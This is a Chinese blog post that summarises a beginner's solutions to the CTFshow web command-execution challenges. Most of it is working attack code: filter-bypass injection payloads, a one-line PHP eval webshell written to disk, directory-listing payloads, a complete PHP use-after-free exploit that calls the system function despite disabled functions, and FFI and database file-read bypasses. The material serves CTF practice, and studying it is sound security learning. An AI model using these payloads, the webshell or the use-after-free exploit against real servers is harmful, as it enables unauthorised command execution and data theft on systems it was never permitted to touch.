CTFSHOW命令执行做题总结(小白文章)

目录

有关执行shell与php

关于空格

有关带有文件、命令字母的过滤

 关于文件的

 有关命令的过滤

大杀器:?c=/bin/?at${IFS}f???????、?c=/???/????64 ????.???

有关获取flag的操作

passthru

带参数的输入

利用命令flag拷贝到别处或者修改文件名:

有关函数执行的链接放这里了:PHP执行系统命令的有几个常用的函数_PHP教程-php教程-PHP中文网

一般用于post的 

使用文件上传

有关特殊截断

 文件的扫描

难点

过滤了数字、字母的相关解法:

 通过shell获取数字

post还有get同时提交(感觉这个也不算是难点)

 uaf脚本

数据库(还有有点不太理解这个数据库名称怎么获取的)

以上都被ban了之后的(FFI):

 相关脚本

 最后来个压轴的蚁剑(为什么能直接连接蚁剑)(感谢群主师傅,泓舜师傅,程科师傅提供的帮助):

最后的总结


有关执行shell与php

         最开始的误区来自于以上的聊天记录,一直以来没有区分明白。后来经过询问,然后问程科师傅明白了。

所以eval—>php,system—>shell,eval直接执行的是PHP代码,system是命令。

关于空格

        首先是直接使用(空格),然后被过滤的情况下,直接使用空格的url编码%20,再被ban了,使用%09,<,>,+,$IFS$9,%0a(%0a是表示回车,但是也相当于空格了),{IFS}

有关带有文件、命令字母的过滤

 关于文件的

        一般都是使用*或者?,感觉一般情况下这两种就够了。一般情况下就是模糊查询,比如?c=passthru("tac%20fla?????");对应的查询就是flag.php。

 有关命令的过滤

        比如过滤了cat,可以使用tac或者uniq来获取flag。

大杀器:?c=/bin/?at${IFS}f???????、?c=/???/????64 ????.???

使用?c=/bin/?at${IFS}f???????,直接调用bin目录下的cat文件,直接模糊匹配flag.php

使用?c=/???/????64 ????.???,开始为?c=/bin/base64 flag.php,直接base64编码(这种一般适合没有数字过滤的时候)

补充:

在Linux中,/bin是安装基本系统管理命令和二进制文件的文件夹。这些二进制文件是指执行文件,通常包含在系统启动过程中需要的工具和命令行工具。/bin目录中包含了大量的基本命令和工具,包括:

\1. bash - 标准的命令行Shell
\2. cat - 将文件内容输出到屏幕
\3. cp - 复制文件
\4. date - 显示或设置系统时间
\5. mv - 移动或重命名文件
\6. pwd - 显示当前所在的工作目录
\7. rm - 删除文件或目录
\8. touch - 新建空白文件或更改文件的访问和修改时间

等等。总之,/bin目录中包含一些最基本的命令,这些命令通常由系统管理员或一般用户使用。

有关获取flag的操作

passthru

        一般情况下使用system();里边是命令,如果system被ban了可以使用passthru();

带参数的输入

直接执行:

?c=eval($_GET[1]);&1=system("tac%20flag.php");

配合文件包含:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=data://text/plain,<?=system("tac%20fla*.*");?>

(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

上传木马连接蚁剑:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 

访问alb34t.php,然后就可以连马。

利用命令flag拷贝到别处或者修改文件名:

cp:

?c=system("cp%20fl*g.php%20a.txt%20");

 然后浏览器访问a.txt,读取即可。

mv:

使用使用mv命令把flag文件重命名,再使用uniq查看a.txt(如果第二步看不到,请右键查看文件源代码) 第一步:c= mv{IFS}a.txt
第二步:c=uniq${IFS}a.txt

有关函数执行的链接放这里了:PHP执行系统命令的有几个常用的函数_PHP教程-php教程-PHP中文网

一般用于post的 

c=show_source('flag.php');

c=rename("flag.php","1.txt");

c=echo file_get_contents('flag.php');

c=highlight_file("flag.php");

使用文件上传

例如web56,相关文章为

CTFshow web入门---web56_Sunny-Dog的博客-CSDN博客

 一下为html代码:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
  </head>
  <body>
    <form action="http://b8e20888-85dd-4ac2-a484-d813acd7c7bf.challenge.ctf.show/" method="post" enctype="multipart/form-data">
      <!--链接是当前打开的题目链接-->
      <label for="file">文件名:</label>
      <input type="file" name="file" id="file"><br>
      <input type="submit" name="submit" value="提交">
    </form>
  </body>
</html>

 然后上传一个文本文件抓包

?c=.%20/???/????????[@-[] 

有关特殊截断

        比如>/dev/null会把所有输出给弄没,所以必须有一个回车来截断,这时候就需要使用%0a了。

        使用\也可以截断文件比如fl\ag.php。

 文件的扫描

c=print_r(scandir("/"));

c=var_dump(scandir("/"));

c=var_export(scandir("/"));

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>

c=$a="glob:///*.txt";if($b=opendir($a)){      while(($file=readdir($b))!==false){ echo "filename:",$file."\n";    }    closedir($b); }exit();

难点

过滤了数字、字母的相关解法:

无字母数字webshell之提高篇 | 离别歌

一些不包含数字和字母的webshell | 离别歌

 通过shell获取数字

┌──(root㉿kali)-[/home/zzw290]
└─# echo $(())
0

┌──(root㉿kali)-[/home/zzw290]
└─# echo $((~$(())))
-1

┌──(root㉿kali)-[/home/zzw290]
└─# echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
31

┌──(root㉿kali)-[/home/zzw290]
└─# echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
35

┌──(root㉿kali)-[/home/zzw290]
└─# echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
36

注意:一共需要37个$((~$(())))相加,因为-37按位取反才是36,第一次好像想成32了,出来的结果是31,第二次是36次。

post还有get同时提交(感觉这个也不算是难点)

POST
c=include($_GET['url']);

GET
/?url=php://filter/read=convert.base64-encode/resource=flag.php

 

 uaf脚本

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

 这个根据需要来改文件名称

数据库(还有有点不太理解这个数据库名称怎么获取的)

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
    {
        echo($row[0])."|"; 
    }
    $dbh = null;
}
catch (PDOException $e) 
{
    echo $e->getMessage();
    exit(0);
}
exit(0);

以上都被ban了之后的(FFI):

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
exit(0);

 有关FFI的介绍:

PHP: FFI::cdef - Manual

PHP7.4中FFI的介绍(代码示例)-php教程-PHP中文网

第二行是命令行

先使用其他命令,发现有回显,然后扫描根目录,/readflag >1.txt 

 相关脚本

有关python的脚本,由于本人不会写,大部分的脚本都能搜到,我就不列举了。。。

 最后来个压轴的蚁剑(为什么能直接连接蚁剑)(感谢群主师傅,泓舜师傅,程科师傅提供的帮助):

直接上聊天记录了

 

 

 

 

最后的总结

由于我是一个小白,而且也是第一次写文章,第一次写总结,有的思路逻辑可能有错误,或者文章结构杂乱,佬们多多包涵就行了(狗头)。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值